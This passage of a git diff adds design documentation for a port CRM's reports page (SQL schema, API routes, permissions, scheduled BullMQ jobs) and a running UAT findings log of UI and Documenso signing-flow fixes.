Sales-focus list + +### Filters + +- **Cross-cutting** (auto-hidden when not relevant): date range + comparison toggle + rep + source +- **Operational-specific:** + - **Berth area** — multi-select; restricts heatmap + tables + - **Tenure type** — permanent / fixed-term (affects tenancy charts + ending-soon table) + - **Document type** — EOI / Reservation / Contract (affects signing chart + stuck-signing) + - **Status filter** — for the heatmap/status-mix views: which statuses to display + +### Currency handling + +- All berth prices render in port-default currency +- Underlying records can be in any currency; convert at render time +- Render with thousand-separator + currency symbol + +--- + +## Report 05 — Custom (ad-hoc composer) + +**Purpose:** answer questions the canonical reports don't cover. + +### Composition surface + +1. **Pick an entity** (one): Clients, Yachts, Companies, Interests, + Berths, Tenancies, Invoices, Expenses, Documents, + Website Submissions. +2. **Pick columns** — checkbox list of available columns for that + entity, with sensible defaults pre-checked. Includes computed + columns where they exist (e.g. `daysOverdue` on invoices). +3. **Add filters** — one row per filter; each row: column → operator + (=, ≠, in, contains, > <, between, is null) → value picker + appropriate to the column type. AND/OR between rows. +4. **Group by** (optional single dimension) — column from the entity. +5. **Sort** — column + direction. +6. **Aggregate** (when group-by is set) — count, sum, avg, min, max + on each numeric column. +7. **Live preview** — first 50 rows render as you build, server query + re-runs on debounced change. +8. **Save** — three buttons: + - **Run once** — generate the report and add to library, no + template saved. + - **Save as template** — name + scope (personal / port-wide). + - **Update existing template** — only visible if you opened from a + template. + +### Permissions + +- Column whitelist per entity per role. A rep without + `clients.view_pii` cannot pick `email` or `phone` columns. Same + enforcement on the server-side row filter. +- Filtering is always tenant-scoped via `port_id` (defense in depth). + +### Output + +- Same export buttons (PDF / CSV / Excel) as canonical reports. +- PDF treatment uses the standard branded shell. + +--- + +## Templates system + +Applies to all 5 categories. + +### Lifecycle + +1. **Open a builder** — defaults to "Untitled" config. +2. **Modify any filter / column / range** — header shows "Modified ●" + indicator. +3. **Save** — three options: + - Overwrite the loaded template (if any). + - Save as new (prompts for name + scope). + - Discard changes. +4. **Templates page** — list of all templates, per-template actions: + open, run, schedule, share, archive. + +### Scope + +- **Personal** — visible only to creator. Can be promoted to port-wide + later. +- **Port-wide** — visible to all reps in the port; editable only by + admins. "Owned by" name shown. + +### Storage + +- `report_templates` table already exists (per `schema/reports.ts`), + audit to confirm shape matches the lifecycle above. + +--- + +## Schedules + +### Schedule object + +- `templateId` — the report to run +- `cron` expression OR friendly cadence (daily 9am, weekly Mondays, + monthly 1st) +- `emailEnabled` — boolean. When true, fires email; when false, only + drops into runs library. +- `recipients` — array of email addresses (only used when + `emailEnabled`) +- `format` — pdf / csv / xlsx — what to attach to the email +- `lastRunAt`, `nextRunAt`, `lastResult` (success / failure) + +### Worker + +- BullMQ recurring job already exists in the stack; one queue + `report-runs` does both on-demand and scheduled runs. +- Failure surface: email the schedule creator on first failure (with + short error), backoff retry once, mark `lastResult='failure'`. + +--- + +## Open questions for the user + +1. **AR aging buckets.** Do we use 30-day buckets or 14-day buckets? + 30 is industry standard; 14 catches issues earlier. +2. **Currency normalisation for revenue.** USD or EUR as default? Or + the port's `branding_default_currency`? +3. **Sales rep visibility.** Should a rep see ONLY their own metrics + on Sales Performance by default (with admins seeing the full + leaderboard), or always the full team? +4. **Inquiry → interest auto-link rule.** We've got `convertedAt` on + `websiteSubmissions` and `sourceInquiryId` on `clients`. Is every + conversion captured today, or are some manual links missed (which + would skew the marketing report)? +5. **"Pulse" / heat data.** Should the Sales report surface the deal + pulse metric, or is that a separate "Deal Pulse" report? +6. **Geographic chart.** The `react-simple-maps` library is approved + (per memory). Are we OK to use it for the Marketing country chart, + or is that scope creep? +7. **Custom builder entity scope.** All 10 entities above, or start + with the 4 sales-core ones (Clients, Yachts, Interests, Berths) + and expand later? diff --git a/docs/reports-page-design.md b/docs/reports-page-design.md new file mode 100644 index 00000000..37617deb --- /dev/null +++ b/docs/reports-page-design.md @@ -0,0 +1,278 @@ +# Reports Page Design (`/{portSlug}/reports`) + +> **Status:** Design doc. All Q-block decisions locked 2026-05-24 via AskUserQuestion in the alpha UAT master doc. Implementation phased into discrete PRs at the end. + +## Goals & non-goals + +**Goals** + +- Promote PDF report generation from a cramped dashboard dialog (~25 widgets and growing) to a dedicated landing + builder page. +- Support saved-template management (rename / archive / share-with-team / duplicate). +- Add run history so reps can answer "send me the same report Sarah ran last month." +- Scheduled recurring reports (weekly / monthly / quarterly) with per-recipient email delivery. +- One-click "Generate & email" alongside "Generate & download." +- CSV + PNG/JPEG chart-snapshot outputs alongside the existing PDF. +- Per-report metadata overrides: title, subtitle, cover-page branding swap. + +**Non-goals (v1)** + +- Excel workbook output (`xlsx`) — defer; PDF + CSV cover the asks. +- Public hosted-HTML share-link to a report — defer. +- Cover-page intro paragraph + footer/sign-off — defer; title/subtitle is enough. +- A separate "Reports admin" page; admin controls live alongside the same `/reports` surface gated by `reports.admin`. + +--- + +## Routing + +``` +/{portSlug}/reports + ├── (default view) Landing: every report kind as a card with "Generate" CTA + the port's saved templates + ├── /[kind] Per-report-kind builder (two-panel: sections checklist + live preview) + ├── /templates Shared-templates manager (rename / archive / duplicate / share) + ├── /runs Run history (re-run / re-email) + └── /schedules Active recurring schedules (pause / edit recipients / cadence) +``` + +The existing dashboard "Export as PDF" button is rewired to navigate to `/{portSlug}/reports/dashboard?range=YYYY-MM-DD..YYYY-MM-DD` with the active date range pre-filled. One-click access preserved; rep lands in the full builder with everything pre-selected and the PDF preview ready. + +--- + +## Data model + +Three new tables. + +### `report_templates_shared` + +Per-port, port-scoped, optionally shared with the whole team. + +```sql +CREATE TABLE report_templates_shared ( + id text PRIMARY KEY DEFAULT gen_random_uuid()::text, + port_id text NOT NULL REFERENCES ports(id) ON DELETE CASCADE, + name text NOT NULL, + description text, + -- The report-kind union ('dashboard' | 'website-analytics' | 'client-summary' | 'interest-summary' | 'berth-spec' | 'occupancy' | …). + -- Same vocabulary the existing PDF exporter uses. + kind text NOT NULL, + -- Widget selection + per-widget option overrides + report metadata. + config jsonb NOT NULL, + -- 'private' = creator only; 'team' = anyone with reports.export at this port. + visibility text NOT NULL DEFAULT 'private', + created_by text NOT NULL REFERENCES "user"(id) ON DELETE RESTRICT, + archived_at timestamptz, + created_at timestamptz NOT NULL DEFAULT now(), + updated_at timestamptz NOT NULL DEFAULT now() +); +CREATE INDEX report_templates_shared_port_kind_idx ON report_templates_shared(port_id, kind); +CREATE INDEX report_templates_shared_port_visibility_idx ON report_templates_shared(port_id, visibility); +``` + +Notes: + +- `config.sections: string[]` — widget ids, same shape as today's dialog. +- `config.dateRange: { from?: string, to?: string, mode?: 'last_7' | 'last_30' | 'last_90' | 'custom' }` — saved templates default to relative ranges so a "Weekly snapshot" template stays fresh. +- `config.metadata: { title?: string, subtitle?: string, brandingPortId?: string }` — `brandingPortId` lets the report use another port's logo/colour on the cover (admin-only). +- `config.kindOptions` — per-kind option bag; e.g. for `website-analytics` the country filter, for `client-summary` the client-id. +- Partial unique on `(port_id, lower(name)) where archived_at is null` — no two active templates share a name per port. + +### `report_runs` + +Append-only audit log of every generated report. + +```sql +CREATE TABLE report_runs ( + id text PRIMARY KEY DEFAULT gen_random_uuid()::text, + port_id text NOT NULL REFERENCES ports(id) ON DELETE CASCADE, + -- Nullable: ad-hoc runs (no template) still get logged. + template_id text REFERENCES report_templates_shared(id) ON DELETE SET NULL, + schedule_id text REFERENCES report_schedules(id) ON DELETE SET NULL, + kind text NOT NULL, + config jsonb NOT NULL, -- snapshotted at run time so re-runs reproduce identically + output_format text NOT NULL, -- 'pdf' | 'csv' | 'png' | 'jpg' + -- Storage key of the rendered artefact. Same backend as files (s3 or filesystem). + storage_key text, + size_bytes integer, + status text NOT NULL DEFAULT 'pending', -- 'pending' | 'rendering' | 'complete' | 'failed' + error_message text, + triggered_by text NOT NULL, -- 'user' | 'schedule' + triggered_by_user_id text REFERENCES "user"(id) ON DELETE SET NULL, + -- When non-null, this run was emailed to these recipients on completion. + emailed_to jsonb, -- Array<{ name?: string, email: string }> + emailed_at timestamptz, + created_at timestamptz NOT NULL DEFAULT now(), + completed_at timestamptz +); +CREATE INDEX report_runs_port_created_idx ON report_runs(port_id, created_at DESC); +CREATE INDEX report_runs_port_user_idx ON report_runs(port_id, triggered_by_user_id); +CREATE INDEX report_runs_port_template_idx ON report_runs(port_id, template_id) WHERE template_id IS NOT NULL; +``` + +### `report_schedules` + +```sql +CREATE TABLE report_schedules ( + id text PRIMARY KEY DEFAULT gen_random_uuid()::text, + port_id text NOT NULL REFERENCES ports(id) ON DELETE CASCADE, + template_id text NOT NULL REFERENCES report_templates_shared(id) ON DELETE CASCADE, + -- 'weekly_monday_9' | 'monthly_first_9' | 'quarterly_first_9' to start; cron string optional later. + cadence text NOT NULL, + recipients jsonb NOT NULL, -- Array<{ name?: string, email: string }> + output_format text NOT NULL DEFAULT 'pdf', + enabled boolean NOT NULL DEFAULT true, + last_run_at timestamptz, + next_run_at timestamptz NOT NULL, -- pre-computed for the BullMQ scheduler + created_by text NOT NULL REFERENCES "user"(id) ON DELETE RESTRICT, + created_at timestamptz NOT NULL DEFAULT now(), + updated_at timestamptz NOT NULL DEFAULT now() +); +CREATE INDEX report_schedules_port_enabled_next_idx ON report_schedules(port_id, enabled, next_run_at); +``` + +A schedule lifecycle: + +1. Created via the builder ("Schedule recurring" panel) or `/schedules` page. +2. BullMQ cron checks every 15 min for `enabled=true AND next_run_at <= now()`. +3. For each match: create a `report_runs` row (`triggered_by='schedule'`), enqueue the rendering job, then advance `next_run_at` based on cadence. +4. Rendering job completes → email job fires with the storage key. + +--- + +## API surface (`/api/v1/reports/*`) + +| Verb | Path | Permission | Notes | +| ------ | ------------------------------------------- | ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| POST | `/api/v1/reports/generate` | `reports.export` | One-shot generate. Body: `{ kind, config, outputFormat?, deliverTo?: { recipients[] } }`. Returns `{ runId, downloadUrl }` (presigned) or fires email job when `deliverTo` set. | +| GET | `/api/v1/reports/templates` | `reports.export` | Lists templates visible to the caller (own private + team-shared). | +| POST | `/api/v1/reports/templates` | `reports.export` | Create a template (visibility defaults to `private`). | +| PATCH | `/api/v1/reports/templates/[id]` | `reports.export`\* | Update name / description / config. `*` Only the creator OR holders of `reports.admin` can edit team-shared templates. | +| DELETE | `/api/v1/reports/templates/[id]` | `reports.admin` | Soft-delete (sets `archived_at`). Frontend uses "Archive" copy. | +| POST | `/api/v1/reports/templates/[id]/duplicate` | `reports.export` | Returns a copy owned by caller, visibility=`private`. | +| GET | `/api/v1/reports/runs` | `reports.export` | Run history. Filter params: `templateId`, `userId`, `kind`, `from`, `to`. | +| POST | `/api/v1/reports/runs/[id]/re-run` | `reports.export` | Generates a fresh run with the original snapshotted config + same recipients (when triggered_by=schedule). | +| GET | `/api/v1/reports/runs/[id]/download` | `reports.export` | Presigned URL for the run artefact. | +| GET | `/api/v1/reports/schedules` | `reports.admin` | List scheduled jobs. | +| POST | `/api/v1/reports/schedules` | `reports.admin` | Create a schedule. | +| PATCH | `/api/v1/reports/schedules/[id]` | `reports.admin` | Pause / edit / change recipients. | +| DELETE | `/api/v1/reports/schedules/[id]` | `reports.admin` | Remove. | +| GET | `/api/v1/reports/availability?kind=...&...` | `reports.export` | Lightweight per-widget presence check (drives the empty-state pills in the builder; already speced in B2 audit). | + +Existing `POST /api/v1/reports/generate` stays — it's the foundation. New endpoints layer on top. + +--- + +## Permissions + +Two perms (locked decision): + +- **`reports.export`** — generate + download + manage own private templates. Default ON for `super_admin`, `director`, `sales_manager`, `sales_agent`, `finance_manager`. OFF for `viewer`, `residential_partner`. +- **`reports.admin`** — manage BOTH team-shared templates AND schedules. Default ON for `super_admin` only. + +Seed via `src/lib/db/seed-permissions.ts` in the same PR that adds the schema. + +--- + +## BullMQ queue + cron handler + +Two new queues: + +- **`reports-render`** — per-run render job. Consumed by `src/jobs/processors/report-render.ts`. Steps: + 1. Resolve the run's config + storage key. + 2. Run kind-specific resolver (already wired for `dashboard` and `website-analytics`; new ones get a registry entry). + 3. Render to `outputFormat` (PDF via existing `pdfme`+`pdf-lib` path; CSV via shared resolver-to-csv helper; PNG/JPEG via puppeteer-snapshot of each chart). + 4. Upload to storage, update `report_runs` row with `storage_key`, `size_bytes`, `status='complete'`. + 5. If `triggered_by='schedule'` (schedule has recipients) — enqueue `reports-email` follow-up. + +- **`reports-email`** — fan-out email delivery. Consumed by `src/jobs/processors/report-email.ts`. Uses existing transactional-email infra (`sendBrandedEmail`) with the run artefact as an attachment OR a 7-day signed link when over the per-port attachment threshold. + +A cron-style `reports-scheduler` BullMQ recurring job fires every 15 min: + +1. `SELECT id FROM report_schedules WHERE enabled = TRUE AND next_run_at <= now() ORDER BY next_run_at`. +2. For each: create the `report_runs` row + enqueue `reports-render` + UPDATE `next_run_at` based on cadence (helpers in `src/lib/services/report-schedule.service.ts`). + +--- + +## UI plan + +### 1. Landing — `/{portSlug}/reports` + +Two-column layout: + +- **Left rail**: report-kind cards (Dashboard, Website Analytics, Client Summary, Interest Summary, Berth Spec, Occupancy, …). Each card shows last-run timestamp + "Generate" CTA opening that kind's builder. +- **Right column**: tabs for "My templates" (private), "Team templates" (shared), "Recent runs" (last 10). + +Filtered by `reports.export`/`reports.admin` so a `viewer` never sees the page at all. + +### 2. Builder — `/{portSlug}/reports/[kind]` + +Full-page two-panel layout (the locked Q2 shape): + +``` +┌────────────────────────────────────┬────────────────────────────────┐ +│ Title + subtitle inputs │ │ +│ Date range picker │ │ +│ ─── Sections (grouped by domain) ──│ Live PDF preview │ +│ ☑ Summary │ (re-renders on each │ +│ ☐ Pipeline │ toggle, debounced 200ms)│ +│ ☑ Berths │ │ +│ ☑ Lead sources │ │ +│ ☐ Operations │ │ +│ ─── Output ─────────────────────── │ │ +│ ◉ PDF │ │ +│ ◯ CSV │ │ +│ ◯ PNG (per chart) │ │ +│ ─── Delivery ────────────────────── │ │ +│ ◯ Download │ │ +│ ◯ Email — recipient list │ │ +│ ─── Save / Schedule ─────────────── │ │ +│ [ Save as template ] [ Schedule…] │ │ +└────────────────────────────────────┴────────────────────────────────┘ +``` + +Per-section row shows the existing "data availability" pill from the B2 audit (`ok` / `no_data` / `needs_window` / `partial`) plus a drag-handle to reorder (locked Q9 polish). + +### 3. Templates manager — `/{portSlug}/reports/templates` + +Table of every visible template with columns: name · kind · visibility · last-used · created-by. Row actions: Open in builder · Rename · Duplicate · Share with team (gated on `reports.admin` for shared ones) · Archive. + +### 4. Run history — `/{portSlug}/reports/runs` + +Server-paginated table. Columns: when · who · template name · kind · format · status · size · re-run / re-email / download. + +### 5. Schedules — `/{portSlug}/reports/schedules` + +Table of active schedules. Columns: template · cadence · recipients · last run · next run · enabled toggle · edit. + +--- + +## Quick-path dashboard button + +The existing `` (`src/components/reports/export-dashboard-pdf-button.tsx`) is rewired to navigate to `/{portSlug}/reports/dashboard?range=...` instead of opening the in-dashboard dialog. The dialog logic moves into the builder page wholesale (same checklist + same preview component). One-click access preserved; the bigger surface gives reps room to breathe. + +--- + +## Phased PR plan + +| PR | Scope | Effort | Ships independently | +| ------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------ | --------------------------------------------------------------- | +| **P1: Schema + perms** | `0084_reports_page.sql` (3 tables + indexes) + seed `reports.export` / `reports.admin` perms + service skeleton (`report-template.service.ts`, `report-run.service.ts`, `report-schedule.service.ts`). No UI changes. | ~4 h | Yes (no behavioural change) | +| **P2: Templates API** | CRUD routes for `report_templates_shared` + `report_runs` (read-only at this stage). Mount under `/api/v1/reports/templates` + `/api/v1/reports/runs`. Vitest coverage. | ~4 h | Yes | +| **P3: Schedules API + cron** | `/api/v1/reports/schedules` CRUD + BullMQ `reports-scheduler` recurring job + `reports-render` + `reports-email` queues. Renderer reuses the existing PDF path. Vitest + integration tests. | ~8 h | Yes | +| **P4: Landing + builder UI** | `/{portSlug}/reports` landing + `/[kind]` builder. Migrate the existing dialog UI into the builder; delete the dialog. Dashboard button rewires to the builder. | ~10 h | Yes (templates/runs UIs still missing — they get a placeholder) | +| **P5: Templates + Runs + Schedules pages** | Three sub-route pages, table UIs, row actions, modal forms for "Schedule…". | ~8 h | Yes | +| **P6: CSV + PNG outputs** | Add output-format renderers; wire output radio in builder. | ~6 h | Yes | +| **P7: Metadata overrides + branding swap** | Title/subtitle inputs + cover-page brand picker (admin-only). | ~3 h | Yes | + +Total: ~43 h spread across 7 PRs. + +--- + +## Open follow-ups (intentionally deferred past v1) + +- Excel workbook output. +- Public hosted-HTML share-link (write to `/api/public/reports/[id]` with a signed token). +- Cover-page intro paragraph + footer/sign-off note. +- Custom cron strings (today: enum cadence only — `weekly_monday_9` etc). +- Per-user template visibility ('shared with specific users' beyond port-wide team). + +Capture in `docs/BACKLOG.md` after P5 ships. diff --git a/docs/runbooks/permission-audit.md b/docs/runbooks/permission-audit.md index 5e29c75d..31914786 100644 --- a/docs/runbooks/permission-audit.md +++ b/docs/runbooks/permission-audit.md @@ -28,7 +28,6 @@ Scanned 182 route files under `src/app/api/v1/`. | `src/app/api/v1/alerts/[id]/dismiss/route.ts` | POST | Alerts are user-scoped; port-filtered via auth context. | | `src/app/api/v1/alerts/count/route.ts` | GET | Alerts are user-scoped; port-filtered via auth context. | | `src/app/api/v1/alerts/route.ts` | GET | Alerts are user-scoped; port-filtered via auth context. | -| `src/app/api/v1/berth-reservations/[id]/route.ts` | PATCH | TODO: PATCH should map to reservations:edit (not currently in catalog). | | `src/app/api/v1/currency/convert/route.ts` | POST | Currency reference data; port-scoped, no PII. | | `src/app/api/v1/currency/rates/refresh/route.ts` | POST | TODO: gate with admin:manage_settings — currently allow-listed. | | `src/app/api/v1/currency/rates/route.ts` | GET | Currency reference data; port-scoped, no PII. | diff --git a/docs/superpowers/audits/active-uat.md b/docs/superpowers/audits/active-uat.md new file mode 100644 index 00000000..61fcd86a --- /dev/null +++ b/docs/superpowers/audits/active-uat.md @@ -0,0 +1,667 @@ +# Active UAT — running findings + +> **THIS IS THE CURRENTLY ACTIVE AUDIT DOC.** All new UAT findings land here regardless of which session captures them. Persists across sessions until the user explicitly says "wrap this round up and start a fresh one" — at which point archive this file with a date stamp (`YYYY-MM-DD-uat.md`) and start a new `active-uat.md`. +> +> Started 2026-05-26 after the drain commit `e9509dc` cleared the prior `alpha-uat-master.md` long tail. This file is the home for findings surfaced as the user walks through the running app. Append every item as a discrete entry — even premature / aspirational ones — so nothing gets dropped. +> +> **Methodology:** user drives the live CRM at `http://localhost:3000`, surfaces issues in chat (with screenshot + React-grab anchor when applicable). Each finding lands here in the matching bucket with file:line evidence and a status tag. +> +> **Status legend:** +> +> - `OPEN` — captured, not started +> - `IN PROGRESS` — currently being worked on this session +> - `SHIPPED in ` — committed; commit message has detail +> - `QUEUED` — not for this session; deliberately deferred +> - `BLOCKED` — waiting on user input / external repo / clarification +> +> **Severity** (for bugs only): `critical | high | medium | low`. + +> **Locked decisions — 2026-05-26 round.** User answered 11 blocking / clarifying questions. Inlined here for cross-finding reference; individual findings still carry their own context. +> +> - **Documenso comprehensive audit:** ship as 5 discrete sub-PRs — (1) persist `documensoId` immediately after create, (2) pre-flight validation, (3) state-machine refactor with `rollbackTo()` helper, (4) recipient ↔ Documenso identity reconciliation, (5) end-to-end test coverage + audit-log richness. +> - **Pre-flight validation for upload-for-signing:** hard-blocks Submit when any recipient has a missing email or any placed field's `recipientIndex` doesn't resolve. No override path. +> - **`/documents/new` wizard refactor:** (a) delete the upload branch, (b) drop the `inapp` template pathway, (c) per-port doc-type template defaults (`documenso_eoi_template_id` / `documenso_reservation_template_id` / `documenso_contract_template_id`) with admin-only override, (d) surface flow 3 (mark externally signed) from the dropdown menu, (e) drop `/documents/new` as a route — replace with `` opened from the dropdown. +> - **Automate Signing button:** mid-flow enable picks up from next-in-order signer; completion broadcast goes to ALL recipients (signers + approvers + CCs); single combined mode (no partial-automate); manual override buttons stay visible with "Auto-firing soon" tooltip during automation. +> - **Webhook URL auto-PATCH on tunnel restart:** env-flag-gated via `DEV_AUTO_UPDATE_DOCUMENSO_WEBHOOK=1`. Prod can't be accidentally rotated by a stale dev script. +> - **Admin Webhook Health page:** explicit "Test now" button for ports with no webhooks received. No auto-fire on first page load. +> - **Per-port `documenso_signing_order` setting:** tri-state — SEQUENTIAL / PARALLEL / Use template default (null/empty state). Replaces the binary toggle. +> - **OverviewTab inheritance editing:** writes to the interest's `desired_*` column (override pattern). Save toast surfaces a follow-up "Update yacht record too?" CTA so the rep can promote the change up if the yacht itself is wrong. +> - **Public-map flag inheritance:** applies across every dialog with a map-flip affordance — EOI generate, External EOI upload, Reservation generate + upload, Contract generate + upload. Default: ON when ANY in-bundle berth has `is_specific_interest=true`, OFF otherwise. +> - **Cancel/Delete affordance audit:** sweep EVERY remove route (per-row EOI tab kebab, EoiCancelDialog, docs hub kebab, document detail Cancel + Delete, contract/reservation tab equivalents, NewDocumentMenu if any). Each one must run the same `cancelDocument`/`deleteDocument` service flow with permission check + Documenso void when `documensoId` set + status transition + onSuccess query invalidation + toast on error. +> - **Orphan-scan admin script:** deferred / out of scope. Dev DB nuke acceptable for UAT-session debris. + +--- + +## Bucket 1 — Quick fixes (<15 min) + +### Dialog primitive default too narrow → bump platform-wide + +- **`SHIPPED locally (not yet committed)`** — _src/components/ui/dialog.tsx_ (DialogContent base default). +- **Fix applied:** default bumped from `sm:max-w-xl lg:max-w-3xl` to `sm:max-w-2xl lg:max-w-4xl`. Confirm dialogs override DOWN with `sm:max-w-md`; PDF preview / signing dialogs override UP with `lg:max-w-5xl` or `lg:max-w-[min(95vw,1400px)]`. +- **Symptom:** Dialog primitive's default is `sm:max-w-lg` (512px), which is far too narrow for most content (forms, file previews, signing details). Even the earlier per-dialog `lg:max-w-4xl` bump only fixed the dialogs I explicitly migrated; everything still using the default — including FilePreviewDialog (which overrides to `max-w-4xl` but PDFs are unreadable at that width) — stays cramped on desktop. +- **Fix:** bump the Dialog primitive base to `sm:max-w-2xl lg:max-w-4xl` so every Dialog gets a sane wide-screen default. Per-dialog overrides ride on top for cases that need wider (PDF preview) or narrower (confirm dialogs). + +### FilePreviewDialog cramped for PDFs + +- **`IN PROGRESS`** — _src/components/files/file-preview-dialog.tsx:109_. +- **Symptom:** opening a PDF lands in a `max-w-4xl` (896px) container on a 1920px+ desktop; PDF renders in a thin column with massive empty bands on both sides. Screenshot 2026-05-26. +- **Fix applied:** bumped DialogContent to `w-[min(95vw,1400px)] sm:max-w-none lg:max-w-none h-[85vh]` so PDFs get viewport-sized rendering capped at 1400px. Reference for "correct" width is the documents-tab preview which the user confirmed reads correctly. + +### CreateDocumentWizard — doc-type labels lowercased + +- **`SHIPPED locally (not yet committed)`** — _src/components/documents/create-document-wizard.tsx_ + _src/lib/constants.ts_. +- **Symptom:** doc-type dropdown renders `eoi`, `nda`, `reservation agreement`, `other` — lowercase, looks unfinished. Naive `.replace(/_/g, ' ')` doesn't capitalize. +- **Fix applied:** added `DOCUMENT_TYPE_LABELS` Record alongside the enum (`EOI`, `Contract`, `NDA`, `Reservation Agreement`, `Other`). Wizard reads from the map. + +### CreateDocumentWizard — "Other" hint added + +- **`SHIPPED locally (not yet committed)`** — _src/components/documents/create-document-wizard.tsx_. +- **Decision:** kept schema unchanged. Added an inline hint under the type selector when `other` is selected: "Use the Title below to describe the document — that's how it'll appear everywhere it's referenced." + +### FlatFolderListing — needs padding above the list + +- **`SHIPPED locally (not yet committed)`** — _src/components/documents/documents-hub.tsx_ FlatFolderListing. +- **Symptom:** the flat list sat flush against the subfolders UI above it — no vertical breathing room. +- **Fix applied:** wrapped FlatFolderListing's returned tree in `
` so all three sub-sections (search/chip row, subfolders grid, documents list) get consistent vertical spacing. + +### FlatFolderListing — root folder doesn't show uploaded files + +- **`SHIPPED locally (not yet committed)`** — _src/components/documents/documents-hub.tsx_ FlatFolderListing + _src/lib/services/files.ts_ (listFiles) + _src/lib/validators/files.ts_ (already had folderId; service was ignoring it). +- **Root cause:** documents table (signature workflows) and files table (raw uploads) are separate; FlatFolderListing queried documents only. +- **Fix applied:** went with option B (parallel files query + client-side merge). `listFiles` now honours the `folderId` filter that was already accepted by the validator. FlatFolderListing runs a sibling `useQuery` against `/api/v1/files?folderId=X` and merges both sources into a unified `HubRow` list sorted by `createdAt desc`. New `renderFileRow` renders files with an "Uploaded file" type pill + "Stored" status pill, links the filename to the download URL. Existing FolderDropZone invalidation (`['files']` prefix) already covers the new query, so drag-drop AND New-document-menu uploads both refresh the list without a page reload. + +### FlatFolderListing — chevron does nothing when no signers + +- **`SHIPPED locally (not yet committed)`** — _src/components/documents/documents-hub.tsx:359+_. +- **React-grab anchor:** `` in FlatFolderListing. +- **Symptom:** every row renders a chevron button that's meant to expand signers detail. For docs with zero signers (manually uploaded, or signature docs that were cancelled/voided before recipients were added), clicking does nothing — the button toggles state but no signers panel exists to render. +- **Fix applied:** chevron button only renders when `totalSigners > 0`. Layout column kept (transparent placeholder span) so grid alignment doesn't jump. + +### Interest drawer — inline client create + +- **`SHIPPED locally (not yet committed)`** — _src/components/interests/interest-form.tsx_ + _src/components/clients/client-form.tsx_. +- **Symptom:** rep starts a new interest, realises the client isn't on file, has to close the drawer + navigate to Clients + create + come back. Yacht create was already inline ("Add new" button next to YachtPicker); client create wasn't. +- **Fix applied:** ClientForm gains an `onCreated(id)` callback; the create-branch mutation now returns `{ id }`. InterestForm renders an "Add new" Button next to the Client label (create-mode only — hidden on edit), opens the ClientForm Sheet, and auto-selects the newly-created client into the interest draft on success. + +### InterestForm reset path dropped source='manual' + +- **`SHIPPED locally (not yet committed)`** — _src/components/interests/interest-form.tsx_. +- **Symptom:** `defaultValues` set `source: 'manual'`, but the `!interest && open` reset path didn't include it. Reopening the drawer for a new interest landed on an unselected source dropdown. +- **Fix applied:** reset() block now includes `source: 'manual'` alongside the other create-mode defaults. + +### UploadForSigningDialog — recipients show only one name, no email differentiator + role + +- **`SHIPPED locally (not yet committed)`** +- **Files touched:** _src/components/documents/upload-for-signing-dialog.tsx_ (RECIPIENT_ROLE_META + RecipientRoleBadge helpers + placement-step sidebar render + FieldSidePanel dropdown). +- **React-grab anchor:** `
` in `FieldPlacementStep` in `DialogBody`. +- **Symptom:** placement-step's recipients sidebar (and the FieldSidePanel's "Assign this field to" dropdown) displayed only the recipient's NAME — no email, no role. UAT screenshot showed 4 recipients all literally named "matt 1, matt 2, matt 3, matt 4" with no way to distinguish them; reps editing real docs with duplicate names (e.g. multiple family members on a yacht purchase) hit the same problem. Worse: the failure of the "missing recipientId" error (separate finding below) is silently caused by which-email-maps-to-which-recipient confusion that the rep can't see. +- **Root cause:** the recipient rows in both surfaces were rendered as `r.name || r.email || #signingOrder` — falling back to email ONLY when name was blank. With non-blank names, email never showed. Role was tracked in state (`'SIGNER' | 'APPROVER' | 'CC'` on the Recipient interface) but never rendered. +- **Fix applied:** + 1. New `RECIPIENT_ROLE_META` constant maps each role to display label + tint (Signer blue, Approver amber, CC slate). New `RecipientRoleBadge` component renders the pill. + 2. Sidebar list rewritten as a two-line layout: line 1 is name + role badge, line 2 is the email (or "no email set" placeholder so the row doesn't shift). Email is also surfaced via `title` for hover-truncation tolerance. + 3. FieldSidePanel dropdown SelectItem rebuilt as a stacked layout — name + role badge on top, email muted below — so reps differentiating duplicate-named recipients can pick the right one without expanding the dropdown. +- **Alternatives considered + rejected:** + - Showing only email and dropping name — rejected because the cleaner display people want is "Matthew Ciaccio · matt@gmail.com (Signer)", not pure email. + - Color-coded chip strip instead of a dropdown — rejected for the same density reason captured in the prior "Assign this field to" finding. +- **Effort:** ~30 min (helpers + two render-site rewrites + tsc). +- **Cross-refs:** pairs with the "Assign this field to" label fix (just above). Both ship the same UAT round. +- **Acceptance criteria:** placement-step sidebar shows {color-dot, name, role badge, email} per recipient; FieldSidePanel dropdown options show {#order, name, role badge, email} per option; duplicate-named recipients are visually distinguishable by email. + +### Documenso upload — silent partial-state when field placement fails + +- **`SHIPPED locally (not yet committed) — comprehensive audit Phase 1 complete`** +- **Files touched (this fix):** _src/lib/services/custom-document-upload.service.ts_ (~line 400, placeFields try/catch). _src/components/documents/upload-for-signing-dialog.tsx_ (recipient UI sibling fix shipped separately). +- **Symptom:** rep uploads a PDF, places fields, hits Send. Error toast surfaces: `Documenso response missing recipientId for matt.ciaccio@gmail.com - cannot place fields`. Document appears in the CRM's signing UI AND in Documenso, recipients + roles are wired, but **all placed fields are missing**. The signing UI on the receiving end has no boxes to fill, which means a signer who receives the invite via email lands on a useless page. +- **Root cause:** in `placeFieldsFromUpload`, the placements were built via `fields.map(f => { if (!recipientId) throw ConflictError(...) ...})` BEFORE the surrounding try/catch. The synchronous throw from `map()` bubbled past the catch-and-rollback block that wraps `placeFields()`, so when the recipient lookup missed: + 1. Documenso envelope: already created + distributed (`sendDoc` succeeded earlier in the flow). + 2. Recipients: created with correct roles, signing URLs issued. + 3. Fields: never placed (the throw fired BEFORE the placeFields call). + 4. CRM document row: stuck in `'sent'` status because the rollback only fired inside the try/catch that the throw skipped over. + Result: the partial state the user described. +- **Fix applied (this session):** + 1. The placements `map()` is now INSIDE the same try/catch that wraps `placeFields()`. Any throw — sync or async — triggers the rollback (Document row → cancelled, Documenso envelope → voided). + 2. Pre-throw `logger.error(...)` captures diagnostic state: the missed email, every email the Documenso response DID return. Future "why didn't this match" investigations have something to grep instead of guesswork. + 3. Comment block explaining the dedupe semantic (Documenso de-dupes by email at the envelope level, so duplicate emails across CRM recipient rows all map to the same Documenso recipientId — that's expected behaviour, not a bug). +- **Phase 1 audit shipped (5 sub-PRs delivered in this round):** + 1. **Persist `documensoId` immediately after `documensoCreate`** (P1.1). Was set only at the late success commit, leaving orphaned envelopes when any later step failed. Now the CRM row points at the 